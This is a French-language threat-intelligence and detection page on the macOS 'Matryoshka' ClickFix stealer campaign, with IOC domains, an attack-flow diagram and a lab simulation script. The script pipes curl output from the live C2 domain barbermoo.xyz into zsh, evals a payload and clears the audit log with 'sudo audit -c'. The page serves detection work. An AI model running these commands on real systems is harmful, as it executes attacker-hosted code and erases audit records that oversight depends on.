Déballage de la Nouvelle Variante « Matryoshka » ClickFix : Campagne de Typosquatting Livrant un Voleur macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une nouvelle opération de malware sur macOS, baptisée Matryoshka, exploite un domaine typosquatté pour inciter les victimes à coller une commande malveillante dans le Terminal. Cette commande tire un script encodé qui se décode en mémoire et déploie finalement un voleur basé sur AppleScript visant les identifiants de navigateur et les portefeuilles de cryptomonnaie. L’installateur fonctionne discrètement en arrière-plan, supprime la sortie visible et télécharge les données récoltées en utilisant un en-tête API personnalisé. La campagne est motivée par l’interaction utilisateur plutôt que par une exploitation logicielle.
Investigation
Les analystes d’Intego ont reconstruit la chaîne de bout en bout : un domaine typosquatté redirige les utilisateurs vers une étape shell légère hébergée sur barbermoo.xyz. Ce script effectue un décodage Base64 + gzip en mémoire, exécute un chargeur qui récupère la charge utile AppleScript et met en scène les résultats de la collecte dans /tmp/osalogging.zip avant l’exfiltration. L’AppleScript tente de voler des identifiants en présentant une fausse invite de Préférences Système, et cible également les outils de cryptographie en remplaçant ou en modifiant les paquets applicatifs Ledger Live et Trezor Suite.
Atténuation
La sensibilisation des utilisateurs est le principal contrôle : ne pas coller de commandes Terminal provenant de sites web. Bloquez et surveillez les domaines typosquattés et liés au C2 identifiés, ainsi que l’infrastructure de distribution du trafic prenant en charge la livraison. Appliquez le listing d’applications autorisées et utilisez une protection des points de terminaison qui peut détecter les exécutions suspectes d’osascript et les motifs de récupération anormaux basés sur curl.
Réponse
Alertez sur les exécutions de curl initiées par Terminal, surveillez la création de /tmp/osalogging.zip et signalez les modifications inattendues des paquets Ledger Live et Trezor Suite. Appliquez le filtrage DNS pour barbermoo.xyz, comparisions.org et macfilesendstream.com. Enquêtez sur tout processus qui se lance silencieusement en arrière-plan immédiatement après une exécution de commande dirigée par curl.
« graph TB %% Définitions de classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nœuds action_initial_access[« <b>Action</b> – <b>T1204.001 Exécution Utilisateur Lien Malveillant</b><br/><b>Description</b> : La victime visite un domaine typosquatté et voit une commande à copier-coller. »] class action_initial_access action tool_curl[« <b>Outil</b> – <b>Nom</b> : curl<br/><b>Description</b> : Transfère les données d’une URL à la machine de la victime. »] class tool_curl tool process_fetch_rogue[« <b>Processus</b> – <b>Nom</b> : fetch_rogue.sh<br/><b>Commande</b> : curl u2026 | sh »] class process_fetch_rogue process action_execution[« <b>Action</b> – <b>T1059.004 Shell Unix</b><br/><b>Description</b> : Exécute des commandes shell Unix pour télécharger et exécuter rogue.sh. »] class action_execution action action_obfuscation[« <b>Action</b> – <b>T1027.009 Charges Utiles Embarquées</b><br/><b>Description</b> : rogue.sh contient une charge utile base64-gzip décodée directement en mémoire. »] class action_obfuscation action action_indirect_exec[« <b>Action</b> – <b>T1202 Exécution Indirecte de Commande</b><br/><b>Description</b> : Le chargeur fonctionne en arrière-plan, se détache du terminal et supprime les E/S. »] class action_indirect_exec action tool_applescript[« <b>Outil</b> – <b>Nom</b> : AppleScript<br/><b>Description</b> : Affiche une fausse boîte de dialogue des Préférences Système pour capturer les saisies de l’utilisateur. »] class tool_applescript tool action_gui_capture[« <b>Action</b> – <b>T1056.002 Capture Entrée GUI</b><br/><b>Description</b> : La boîte de dialogue AppleScript capture les mots de passe saisis par l’utilisateur. »] class action_gui_capture action action_cred_harvest[« <b>Action</b> – <b>T1056 Capture Entrée</b><br/><b>Description</b> : Le script récolte les identifiants de navigateur stockés après l’interaction utilisateur. »] class action_cred_harvest action action_masquerade[« <b>Action</b> – <b>T1036 Déguisement</b><br/><b>Description</b> : Remplace et re-signe les binaires Ledger Live et Trezor Suite par des versions malveillantes. »] class action_masquerade action action_stage_data[« <b>Action</b> – <b>T1074.001 Préparation de Données Locales</b><br/><b>Description</b> : Prépare les fichiers volés dans /tmp/osalogging.zip avant l’exfiltration. »] class action_stage_data action action_c2_comm[« <b>Action</b> – <b>T1071.001 Protocoles Web</b><br/><b>Description</b> : Communique avec le serveur C2 en utilisant des requêtes HTTP(S) et un en-tête API clé personnalisé. »] class action_c2_comm action action_exfil_over_c2[« <b>Action</b> – <b>T1041 Exfiltration sur Canal C2</b><br/><b>Description</b> : Télécharge l’archive zip préparée sur le serveur C2 via une requête POST. »] class action_exfil_over_c2 action action_auto_exfil[« <b>Action</b> – <b>T1020 Exfiltration Automatisée</b><br/><b>Description</b> : Les données sont automatiquement envoyées au C2 sans interaction utilisateur supplémentaire. »] class action_auto_exfil action %% Connexions action_initial_access u002du002d>|utilise| tool_curl tool_curl u002du002d>|télécharge| process_fetch_rogue process_fetch_rogue u002du002d>|exécute| action_execution action_execution u002du002d>|conduit à| action_obfuscation action_obfuscation u002du002d>|permet| action_indirect_exec action_indirect_exec u002du002d>|utilise| tool_applescript tool_applescript u002du002d>|déclenche| action_gui_capture action_gui_capture u002du002d>|capture| action_cred_harvest action_cred_harvest u002du002d>|alimente| action_masquerade action_masquerade u002du002d>|stocke| action_stage_data action_stage_data u002du002d>|transfère| action_c2_comm action_c2_comm u002du002d>|exfiltre| action_exfil_over_c2 action_exfil_over_c2 u002du002d>|automatise| action_auto_exfil %% Assignations de classes class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process «
Flux d’Attaque
Détections
Manipulation Possible de Chaînes Encodées en Base64 (via cmdline)
Voir
Archive a été Créée dans le Dossier Temporaire de MacOS (via file_event)
Voir
Commande et Contrôle Suspects par Requête DNS avec Domaine de Niveau Supérieur (TLD) Inhabituel (via dns)
Voir
Tentative d’Exécution Curl Suspecte [MacOS] (via cmdline)
Voir
Détection de l’Exécution de Commandes Matryoshka Variant dans Le Terminal [Création de Processus Linux]
Voir
Exécution de Simulation
Prérequis : Le Télémetrie & Vérification de Base doit avoir réussi.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le narratif DOIVENT directement refléter les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.
-
Narratif d’Attaque & Commandes :
Un adversaire ayant déjà compromis un compte macOS peu privilégié souhaite exécuter une charge utile à distance sans écrire de fichiers sur disque. Ils conçoivent un one-liner qui récupère un script encodé en base-64 depuis un domaine C2 malveillant (barbermoo.xyz), le relie directement àzsh, et utilise finalementevalpour exécuter la charge utile en mémoire. Cette approche est conforme avec T1059.004 (shell Unix) et T1027 (obscurcissement) et correspond exactement à ce que la règle Sigma recherche.-
L’attaquant obtient un jeton unique (
ABCD1234) qui lie la requête à leur campagne. -
Ils exécutent la commande suivante dans une session Terminal :
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
À l’intérieur du script récupéré, une variable
payloadcontient une charge utile malveillante encodée en base64, qui est exécutée via :eval "$payload"
Cela génère deux entrées distinctes en ligne de commande que la règle correspond :
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
Script de Test de Régression :
Le script ci-dessous reproduit le comportement malveillant dans un environnement de laboratoire contrôlé. Lancez-le uniquement sur un hôte de test macOS. Il enregistre sa propre exécution dans le journal d’audit système, satisfaisant la règle de détection.#!/usr/bin/env bash # ------------------------------------------------- # Simulation de la Variante Matryoshka – déclenche la règle Sigma # ------------------------------------------------- set -euo pipefail # --- Configuration ------------------------------------------------- TOKEN="ABCD1234" # Remplacez par n'importe quelle chaîne pour simuler l'unicité MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # Une charge utile inoffensive pour démo – affichant un message (remplacez par la vraie charge utile dans un red-team) PAYLOAD="echo 'Payload malveillant exécuté'" # --- Étape 1 : Récupérer et transmettre à zsh (correspond au premier modèle de détection) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- Étape 2 : Simuler eval en mémoire (correspond au second modèle) ------------- # Dans une vraie attaque, la charge utile serait encodée en base64 et décodée à la volée. eval "${PAYLOAD}" -
Commandes de Nettoyage : Supprimez tous les processus transitoires et restaurez l’état du shell.
# Tuer tous les processus zsh lancés par le test (s'ils sont encore en cours) pkill -f "zsh -c .*barbermoo.xyz" # Optionnellement clairer le journal d'audit des entrées de test (nécessite un admin) sudo audit -c # Vide le tampon d'audit (démontre T1070.010)